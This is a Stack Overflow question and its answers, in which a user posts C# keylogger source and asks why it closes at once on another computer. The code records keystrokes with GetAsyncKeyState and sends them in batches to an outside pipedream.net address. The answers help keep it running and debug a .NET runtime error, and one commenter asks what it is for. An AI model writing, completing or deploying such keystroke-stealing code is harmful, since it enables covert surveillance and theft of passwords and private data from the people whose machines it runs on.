0

So I am making a keylogger and I build it and ran it on my other computer to test it but it just closed immediately so I tried adding Console.ReadLine(); that didn't work then I tried the Console.ReadKey(); didn't work either.

I want so when u press the close button it closes no other way using a fricking key it's a KeyLogger god dangit

Btw it opens fine in Visual Studio

Heres the code:

using System.Threading;
using System.Runtime.InteropServices;
using System.Net;

namespace Program
{
    class Program
    {
        public bool islogging = false;
        public string loggedData = "";
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int key);

        public void logKeyStrokes()
        {
            this.islogging = true;
            int key;
            while (this.islogging)
            {
                for (key = 8; key < 190; key++)
                {
                    if (GetAsyncKeyState(key) == -32767)
                    {
                        this.checkKeys(key);
                    }
                }
            }
        }

        public void checkKeys(int keyCode)
        {
            switch (keyCode)
            {
                case 8:
                    if (!string.IsNullOrEmpty(this.loggedData))
                    {
                        this.loggedData = this.loggedData.Substring(0, this.loggedData.Length - 1);
                    }
                    break;
                case 9:
                    this.loggedData += "    ";
                    break;
                case 13:
                    this.loggedData += " [ENTER] ";
                    break;
                case 16:
                    this.loggedData += " [SHIFT] ";
                    break;
                default:
                    this.loggedData += (char)keyCode;
                    break;
            }

            if (this.loggedData.Length >= 14)
            {
                HttpWebRequest req = (HttpWebRequest)WebRequest.Create("https://noneofyourfuckingbusiness.x.pipedream.net?" + this.loggedData);
                req.GetResponse();
                this.loggedData = "";
            }
        }
        public void threadKeyLogging()
        {
            new Thread(new ThreadStart(this.logKeyStrokes)).Start();
        }
        public static void Main()
        {
            Program p = new Program();
            p.threadKeyLogging();
            Console.WriteLine("");
        }
    }
}
Guru Stron
  • 102,774
  • 10
  • 95
  • 132
Lasse
  • 57
  • 7

2 Answers2

1

Not sure this is the best way to do what you want (because it kind of defeats the purpose of starting a new thread if we're only starting one and then waiting for it to finish), but if you want to wait for a thread to complete, you can Join it, which will block the current thread until the joined one is done:

public void threadKeyLogging()
{
    var t = new Thread(this.logKeyStrokes);
    t.Start();
    t.Join();
}
Rufus L
  • 36,127
  • 5
  • 30
  • 43
  • It doesnt show the text from the Main() bit (I deleted the text cuz it's private and sat it to nothing) – Lasse May 07 '20 at 17:32
  • I don't understand your comment. There is no text shown in `Main`. Also, I don't see anywhere that you set `this.islogging = false;`, so it seems that the thread would never finish? – Rufus L May 07 '20 at 17:45
  • "Console.WriteLine("");" I just removed the text in it – Lasse May 07 '20 at 17:54
  • Ok. If you put text in there, it should show. This is assuming that the thread actually completes because `this.islogging` gets set to `false` somewhere. Does it? – Rufus L May 07 '20 at 18:05
  • it. doesnt get set to false..? – Lasse May 09 '20 at 12:47
0

You could add an endless loop at the end of your Main

public static void Main()
{
    Program p = new Program();
    p.threadKeyLogging();
    Console.WriteLine(""); //<- don't know why you have this line

    while (true);
}
Rand Random
  • 7,300
  • 10
  • 40
  • 88
  • So I tried that, now it works for my computer with .NET installed. I tried it on my other computer without .NET installed it just closes instantly. – Lasse May 07 '20 at 17:24
  • @Lasse You can't run a .NET program if .NET is not installed. I am curious why you would need a keylogger in the first place? What problem are you trying to solve? – Optimax May 07 '20 at 17:33
  • @Optimax, I downloaded .NET on my other computer still didn't work tho – Lasse May 07 '20 at 17:55
  • @Lasse - you actually downloaded/installed .net and restarted your pc in under 30 minutes, pretty impressive. nevertheless the line should work regardless on what machine you are using the application, does the console application actually run? did you check event viewer? – Rand Random May 07 '20 at 18:05
  • @Rand Random wot event viewer – Lasse May 07 '20 at 19:07
  • @Lasse Windows Event Viewer to see a possible error while loading your application? https://en.m.wikipedia.org/wiki/Event_Viewer – Rand Random May 07 '20 at 19:12
  • @RandRandom ok so I tried that and it said: `Description: A .NET Core application failed. Application: LAZ.exe Path: C:\Users\lass2\source\repos\LAZ\LAZ\obj\Release\netcoreapp3.1\LAZ.exe Message: A fatal error was encountered. The library 'hostpolicy.dll' required to execute the application was not found in 'C:\Program Files\dotnet'. ` – Lasse May 09 '20 at 09:14
  • @Lasse Can’t help you with that a quick google search brought this https://stackoverflow.com/questions/38085430/the-library-hostpolicy-dll-was-not-found – Rand Random May 09 '20 at 10:03